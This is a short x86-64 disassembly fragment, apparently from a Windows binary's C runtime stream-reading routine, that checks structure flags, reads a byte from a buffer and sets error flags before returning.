cmp dword [rsi + 0x20], 0x200
jne 0x14001ae96
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14001ae96
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14001ae96
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14001aebc
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret